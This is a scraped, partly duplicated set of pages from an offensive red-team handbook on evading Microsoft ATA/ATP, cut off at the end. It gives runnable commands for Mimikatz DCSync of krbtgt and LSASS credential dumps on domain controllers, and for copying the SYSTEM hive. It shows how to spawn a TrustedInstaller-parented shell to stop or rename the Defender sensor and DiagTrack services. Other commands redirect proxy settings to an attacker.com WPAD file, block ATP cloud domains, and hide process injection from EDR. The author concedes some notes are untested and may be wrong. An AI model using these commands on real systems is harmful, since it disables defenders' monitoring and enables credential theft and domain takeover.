Notes\](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes.md) --- # Important Note | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note.md) . Some of the notes may be wrong due to the fact that I haven't tried these techniques out yet. I'm compiling all information on notes on ATA/ATP so when I finally get the free trial, I am able to get the best experiences and try out more things. [PreviousATA/ATP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp) [NextIntro](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro) Last updated 5 years ago --- # ATA/ATP | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp.md) . [Important Note](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note) [Intro](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro) [Lateral Movement](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement) [Domain Dominance](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance) [Identification](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying) [Recon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon) [Blocking/Disabling Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry) [PreviousBinary Properties and Code Signing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing) [NextImportant Note](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note) Last updated 5 years ago --- # Domain Dominance | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md) . DCSync Across Trusts[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance#dcsync-across-trusts) ------------------------------------------------------------------------------------------------------------------------------------------------- DCsync from a user machine will for sure cause suspicious and generate an alert, but you can actually perform DCSync across trusts as this is normal traffic since DCs replicate stuff all the time. Copy PS C:\Users\childuser\Desktop> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.com /user:domain\krbtgt"' -ComputerName child-dc PSRemoting[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance#psremoting) ----------------------------------------------------------------------------------------------------------------------------- Mixing PSremoting and other attacks will not be detected by ATA. For example, with WinRM or PSRemoting, we can inject Mimikatz into LSASS on a dC and grab the credentials in memory: Copy Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc Another thing you could to is use NinjaCopy, which uses PSRemoting with raw disk access to make a copy of the live system file: Copy Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName "dc" -LocalDestination "c:\temp\system" [PreviousLateral Movement](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement) [NextIdentification](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying) Last updated 5 years ago * [DCSync Across Trusts](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance#dcsync-across-trusts) * [PSRemoting](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance#psremoting) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note.md). # Important Note Some of the notes may be wrong due to the fact that I haven't tried these techniques out yet. I'm compiling all information on notes on ATA/ATP so when I finally get the free trial, I am able to get the best experiences and try out more things. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp.md). # ATA/ATP - \[Important Note\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note.md) - \[Intro\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro.md) - \[Lateral Movement\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement.md) - \[Domain Dominance\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md) - \[Identification\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying.md) - \[Recon\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon.md) - \[Blocking/Disabling Telemetry\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry.md) - \[Trusted Installer\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md). # Domain Dominance ## DCSync Across Trusts DCsync from a user machine will for sure cause suspicious and generate an alert, but you can actually perform DCSync across trusts as this is normal traffic since DCs replicate stuff all the time. \`\`\` PS C:\\Users\\childuser\\Desktop> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.com /user:domain\\krbtgt"' -ComputerName child-dc \`\`\` ## PSRemoting Mixing PSremoting and other attacks will not be detected by ATA. For example, with WinRM or PSRemoting, we can inject Mimikatz into LSASS on a dC and grab the credentials in memory: \`\`\` Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc \`\`\` Another thing you could to is use NinjaCopy, which uses PSRemoting with raw disk access to make a copy of the live system file: \`\`\` Invoke-NinjaCopy -Path "c:\\Windows\\System32\\config\\SYSTEM" -ComputerName "dc" -LocalDestination "c:\\temp\\system" \`\`\` --- # Tips and Tricks | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks.md) . * EDRs love scanning RWX memory, so use: RW -> RX * Try to use apis closer to the kernel so that products have less telemetry over your apis and you have more api mixups to use. Examples are: Copy CreateRemoteThread RtlCreateUserThread QueueUserAPC: ResumeThread or NtResumeThread or NtAlertResumeThread NtQueueApcThread: ResumeThread or NtResumeThread or NtAlertResumeThread * Avoid calling functions against common parameters. For example, you can do something like this: * **address = VirtualAlloc(1000)** * **virtualprotect(addr+50)** * **memcpy(address+100)** * **createthread(address + 200)** * Try include obscure flags in OpenProcess calls * Try to duplicate existing handles on the machine instead of creating new ones with NtQuerySystemInformation * Inject from noisy contexts like from SYSTEM or csrss.exe * Encrypt/change your permissions of your payload and modules if not in use [PreviousTrusted Installer](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer) [NextBasics](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics) Last updated 5 years ago --- # Basics | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics.md) . The fundamentals of AV evasion. [PreviousTips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks) [NextIOCs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs) Last updated 5 years ago --- # Trusted Installer | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer.md) . MsSense is a PPL service, meaning that even with SYSTEM privileges, we will not be able to stop this. However Microsoft allows "trusted callers" to manage protected services and other critical resources in the system. This "trusted caller" is a service called TrustedInstaller. You may have seen this certain service while looking at ACLs of certain applications: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsQTfz76-OFHcID1sL%252Fimage.png%3Falt%3Dmedia%26token%3Db13606e3-60fd-4d39-b789-58841dc451de&width=768&dpr=3&quality=100&sign=deae660d&sv=2) As you can see, it is given full control of calc.exe, and is the only service that has full control. It is also given full control over all the SVCHOST, which hosts the diagtrack service binary. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsQjALYU9kiVxhV23_%252Fimage.png%3Falt%3Dmedia%26token%3D702af2c4-30c9-4c5a-bd91-40702a7c4c7e&width=768&dpr=3&quality=100&sign=6365d7bc&sv=2) The TrustedInstaller service is also a service which does not have PPL configured: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsR4RVQtIoHYNpmc_H%252Fimage.png%3Falt%3Dmedia%26token%3Dad720569-4157-46e7-9ee2-165ab663f5cd&width=768&dpr=3&quality=100&sign=6f36426c&sv=2) So does that mean we can just change Trustedinstaller’s binary path to stop the ATP Sense service? Well, you can't, since this is already a known technique that ATP is aware of, and will make an alert if you try to do this. Alright, so we know that TrustedInstaller is a service configured without PPL, we could potentially spawn a cmd prompt with DiagTrack as its parent(cmd will inherit the TrustedInstaller's security token descriptor), and use that cmd prompt to disable the ATP service that way. Information of why this works is in this picture: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsTT98hXFMBYntDXmP%252Fimage.png%3Falt%3Dmedia%26token%3D664a4b24-e9ec-4b23-8cb0-7020c6d2bbdf&width=768&dpr=3&quality=100&sign=475ba98e&sv=2) To do this, we need the SeDebug privilege(which you can enable if you are admin). We will use PowerShell, and two .NET DLLs from James forshaw which will ease the whole process for us. These are called NtObjectManager.dll and NtApiDoNet.dll. You can find these DLLs here: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - googleprojectzero/sandbox-attacksurface-analysis-tools: Set of tools to analyze Windows sandboxes for exposed attack surface.GitHub](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools) These DLLs will not trigger any alerts due to the fact that they are legitimate windows code and are just wrappers around low-level code. We will first load those 2 dlls in memory: We will then import the loaded assemblies: We will then enable the SeDebug privilege: And then launch the TrustedInstaller process and get a handle to it: We will then call the CreateProcess method to launch cmd.exe with TrustedInstaller.exe as its parent process. Then our CMD will popup! From there, we can just stop the MsSense and Diagtrack service Or just rename the executable: This will effectively stop the ATP process. [PreviousBlocking/Disabling Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry) [NextTips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks) Last updated 5 years ago Copy sc config TrustedInstaller binPath= "cmd /C sc stop sense" && sc start TrustedInstaller Copy $a = [System.Reflection.Assembly]::Load($NtObject.dll) $b = [System.Reflection.Assembly]::Load($NtApi.dll) Copy Import-module $a Import-module $b Copy $token = Get-NtToken -Primary $token.SetPrivilege([NtApiDotNet.TokenPrivilegeValue[]]"SeDebugPrivilege", [NtApiDotNet.PrivilegeAttributes]"Enabled") Copy start-service trustedinstaller $handle = Get-NtProcess -Name "TrustedInstaller.exe" Copy $config = New-Object NtApiDotNet.Win32.Win32ProcessConfig $config.CommandLine = "cmd" $config.CreationFlags = [NtApiDotNet.Win32.CreateProcessFlags]16 $config.ParentProcess = $handle [NtApiDotNet.Win32.Win32Process]::CreateProcess($config) Copy C:\Windows\System32> Sc config diagtrack binpath="ploopy" C:\Windows\System32> Sc stop diagtrack Copy rename "C:\Program Files\Windows Defender Advanced Thread Protection\SenseCncProxy.exe" blah --- # Recon | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon.md) . Local Recon[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon#local-recon) -------------------------------------------------------------------------------------------------------------------- Common host recon commands could trigger alerts if they are chained due to behavior analysis capabilities. Examples of these commands are: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fspaces%252F-MfpNy7QBsIOaHJ1vcf-%252Favatar-1628087367380.png%3Fgeneration%3D1628087368027933%26alt%3Dmedia&width=48&height=48&sign=505da04f&sv=2)Commands to Avoid | The Red Team Vade Mecumkwcsec.gitbook.io](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid) WMI queries are not usually flagged, and logging for them is disabled by default. We can use wmic to issue WMI queries to get info about the host: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fspaces%252F-MfpNy7QBsIOaHJ1vcf-%252Favatar-1628087367380.png%3Fgeneration%3D1628087368027933%26alt%3Dmedia&width=48&height=48&sign=505da04f&sv=2)WMIC commands | The Red Team Vade Mecumkwcsec.gitbook.io](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands) Host recon via direct windows APIs are usually not detected as this minimizes, an example of what we can do is this: Domain/Remote Recon[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon#domain-remote-recon) ------------------------------------------------------------------------------------------------------------------------------------ DNS recon(fierce, nslookup etc.) as well as SAMR protocol recon like "net user /domain" will be caught to due the amount of traffic it sends to the DC(where ATA is running). It's also pretty abnormal for these commands to be ran by a regular user too. We can subvert the detection of DNS recon by just limiting the amount of commands we run, but there are better and more efficient ways to gather info. One way to get information about the domain, is to enumerate remotely by adding `/NODE:"SERVER"` to your wmic queries. Ex. Using LDAP to gather AD info can reduce the likelihood of detection as this flagging this type of traffic would lead to a high number of false positives due to the fact that this is normal/common traffic. Powerview, and Bloodhound(use ExcludeDC flag to avoid communication to DC to avoid being detected by ATA.) can all be used to achieve domain enumeration. In fact, as long as we just avoid communication with the DC, we can enumerate however we want because ATA has no telemetry over these communications. [PreviousIdentification](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying) [NextBlocking/Disabling Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry) Last updated 5 years ago * [Local Recon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon#local-recon) * [Domain/Remote Recon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon#domain-remote-recon) Copy HANDLE hToken; PTOKEN_USER userInfo; DWORD Length = 0; WCHAR username[1024] = { 0 }; WCHAR domain[1024] = { 0 }; ImpersonateSelf(SecurityDelegation); OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, true, &hToken); if (!GetTokenInformation(hToken, TokenUser, userInfo, 4096, &Length)) return 0; LookupAccountSid(NULL, userInfo->User.Sid, username, &Length, domain, &Length, ... Copy wmic /NODE:"SERVER" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * --- # Blocking/Disabling Telemetry | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry.md) . This demonstrates some ways to stop and disable ATP to get rid of telemetry.(This techniques could also all apply to other security products) Note that even if we are system, we cannot stop the ATP process. You need a special offboarding script with a SHA356 signed key. This script is only valid for 10 days before expiration. ATP processes also has PPL enabled, meaning that we cannot stop or inject into this process to cripple it. Note that we can use the PPLKiller or Mimikatz driver to disable the PPL protection of a process, and then proceed to stop/kill it. If we remove the PPL protection and the MsSense service restarts, it will alert on PPL tampering, but we can again bypass this by just changing the binpath of the MsSense service after we kill it: Copy sc config TrustedInstaller binPath="cmd.exe /C sc config sense binPath='blank'" && sc start TrustedInstaller Stopping Diagtrack[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#stopping-diagtrack) --------------------------------------------------------------------------------------------------------------------------------------------------------- The ATP sensor uses the DiagTrack service to communicate to the cloud. If we query the service, we can see that it is configured as "STOPPABLE" and does not have any PPL protections: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsE5j1oJUXaEYVm1un%252F-MgsK938Olc660VpCDfV%252Fimage.png%3Falt%3Dmedia%26token%3Db326dd33-5143-4fd8-9411-38d9ddfea8af&width=768&dpr=3&quality=100&sign=bb612272&sv=2) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsE5j1oJUXaEYVm1un%252F-MgsKHtf5oQ3fxloXNTu%252Fimage.png%3Falt%3Dmedia%26token%3D28b7d144-aa09-49d7-8d54-edfb18f3d058&width=768&dpr=3&quality=100&sign=c6916949&sv=2) To stop this service(as admin): Proxy Settings[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#proxy-settings) ------------------------------------------------------------------------------------------------------------------------------------------------- As we already know, ATP uses the DiagTrack service to communicate to the cloud. Diagtrack uses the WinHTTP API to communicate to the cloud, in which we as regular users can supply proxy settings that say "If any WinHTTP API traffic is going to these ATP cloud domains, stop and hold the traffic." This essentially blocks and stops any traffic going to the cloud thus crippling the ATP service. These two registry keys turn off auto detect for the proxy settings, and then supply our proxy settings configuration file which will synchold any traffic going to the ATP cloud: Our proxy config file can look something like this: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsE5j1oJUXaEYVm1un%252F-MgsM-6Q1TvPbRmuRmQe%252Fimage.png%3Falt%3Dmedia%26token%3D149f4cff-2f12-4490-85b5-6edfe290a16a&width=768&dpr=3&quality=100&sign=52e49550&sv=2) DLL Hijacking[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#dll-hijacking) ----------------------------------------------------------------------------------------------------------------------------------------------- CNCproxy(which is the main communication module of ATP) is vulnerable to a DLL hijacking vulnerability, in which it first checks the winhttp services dll in it's own folder before loading it from system32. The winhttp services dll is in charge of communication with HTTP servers and the internet. If we supply a bogus dll in its current directory, the communication flow with the cloud will be crippled as it is missing the major functionality to do so. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsNV8ngUky7_NRn-JY%252Fimage.png%3Falt%3Dmedia%26token%3D4f53124c-7ae0-4c25-a0ab-6bc646d3d5fd&width=768&dpr=3&quality=100&sign=30eec785&sv=2) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsM2O3VxSq3QOLl4Sk%252F-MgsNQSopoXv5iGdly5d%252Fimage.png%3Falt%3Dmedia%26token%3Dd2304937-fa41-4b74-97ca-bb98dc05200e&width=768&dpr=3&quality=100&sign=484f2277&sv=2) Firewall Rules[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#firewall-rules) ------------------------------------------------------------------------------------------------------------------------------------------------- We can also set simple firewall rules to block any traffic to any ATP cloud domains. This is pretty self explanatory on why this works. These domains include: (and much more!) [PreviousRecon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon) [NextTrusted Installer](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer) Last updated 5 years ago * [Stopping Diagtrack](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#stopping-diagtrack) * [Proxy Settings](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#proxy-settings) * [DLL Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#dll-hijacking) * [Firewall Rules](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry#firewall-rules) Copy sc stop diagtrack Copy reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f Copy Securitycenter.windows.com, winatp-gw-cus.microsoft.com, winatp-gw-eus.microsoft.com, winatp-gw-weu.microsoft.com, winatp-gw-neu.microsoft.com, us.vortex-win.data.microsoft.com,eu.vortex-win.data.microsoft.com,psapp.microsoft.com,psappeu.microsoft.com --- # Intro | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro.md) . ATA/ATP are next generation defense mechanisms that help prevent, detect, investigate to security events. These are post breach defenses that are useful to blue teamers and network defenders due to the large telemetry these security products give you. ATP is analyzes hosts, while ATA analyzes the domain and network traffic. ATP deploys various technologies like * Endpoint behavioral sensors: collect data and behavioral signals from the OS and send it to the cloud for further analysis. * Cloud Security Analytics: Uses machine learning from big data sets to detect and respond to threats. * Parent child analysis: This gives you a tree of the parent child relationships that processes have which can be used to detect malicious behavior * Attack path graphing: You can follow an attack path like if one process starts another process and uses that to execute commands or if they laterally move throughout the network, you can see this type of relation * Host Isolation and File Quarantine: You can quarantine a certain file on multiple boxes or isolate a host from the network if the operator thinks the computer is infected with suspicious activity * Threat Intelligence: Identifies TTPs by using collected data from previous/other attacks * Detection of malicious use of APIs via EtwTI * Integration with other Defender brand protections like: Credential guard, Exploit guard, Application Guard, Device Guard, Windows Firewall(Makes firewall rules to block C2 traffic)etc. * Integration with Other OS's like Linux * Integration with ATA In terms of PowerShell: * It can detect heavily obfuscated PowerShell cradles from invoke-obfuscation and such. * Script block logging * Transcription Logging * Module Logging * "Suspicious strings" * CLM * Just enough Admin support * AMSI * No way to downgrade to PowerShell version 2 * System-wide transcripts * These are all built into the PowerShell framework core ATA is domain based security product which is designed to detect AD: recon, credential attacks, lateral movement, domain dominance etc. It captures and parses multiple protocols such as Kerberos, DNS, RPC, NTLM, and others to detect malicious activity. This information is collected in 2 ways: 1. Port mirroring traffic on DCs and DNS servers 2. Or deploy a light weight gateway directly on DCs This is a high level overview of how ATA works. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgY4xcgQoCow2AU4hd4%252F-MgYcFI8Zwht49eZ8CR-%252Fimage.png%3Falt%3Dmedia%26token%3D24863ea0-ff2a-4716-85ec-d8a01633c5a0&width=768&dpr=3&quality=100&sign=af73d797&sv=2) 1. ATA has a console UI which runs on top of the ATA center 2. ATA gateways, these are full gateways that either gather mirrored port traffic or is a light weight gateway installed directly on a DC(Basically just gathers traffic) ATA can also be integrated with your SIEM or integrate with your VPN with radius 3. MongoDB database which collects data from the different gateways on the ATA center For more information: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=3f0a4066&sv=2)Advanced Threat Analytics architectureMicrosoftLearn](https://docs.microsoft.com/en-us/advanced-threat-analytics/ata-architecture) ATA gives a very useful overview of what happened in the event of an attack. For example, Microsoft gave an example of what would happen if ATA detected a PTT attack. As we can see, we can see the who, what, where of the attack, the resources the attack accessed, we can also see the history of the machines to get a better insight of the attack and see any suspicious commands and queries that were ran. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgY4xcgQoCow2AU4hd4%252F-MgYeGRBZVC4toFLadDg%252Fimage.png%3Falt%3Dmedia%26token%3D2de3c955-8260-482b-98a4-33d78ddf500c&width=768&dpr=3&quality=100&sign=5e2feffb&sv=2) ATA can detect abnormal user behavior in the sense that a certain user is doing something odd related to their function. For example, if bob from the construction group is suddenly RDPing into every machine, is this malicious traffic or not? Because of this, ATA needs some time to learn to detect attacks and anomalous user behavior to reduce the flagging of false positives. An example of such, is that ATA produces an alarm when a user accesses 4 computers that are not ordinarily accessed this user: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgYrH8N1x0lsorTKxS2%252F-MgYv88B-ScLmiUUT4MS%252Fimage.png%3Falt%3Dmedia%26token%3D01926900-b82a-4003-9b0c-2ea1bf2816dd&width=768&dpr=3&quality=100&sign=2a1c63c&sv=2) ATA also has the ability to detect security issues and risks like: * Broken trust * Weak protocols * Known protocol vulnerabilities For example: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgYrH8N1x0lsorTKxS2%252F-MgYvU0guJa1diYRYd_j%252Fimage.png%3Falt%3Dmedia%26token%3D4d88ce0f-0fff-4d59-ba6c-55c2c5ad455c&width=768&dpr=3&quality=100&sign=ec6848c2&sv=2) Note that there may be time delays on generating alerts, complex attacks may take longer to generate an alert while a simple attack may take less time to generate an alert. Because of this, we may be able to do a quick smash and grab attack before ATA/ATP generates an alert and alerts defenses. Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro#resources) ---------------------------------------------------------------------------------------------------------------- [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=3f0a4066&sv=2)What is Microsoft Advanced Threat Analytics 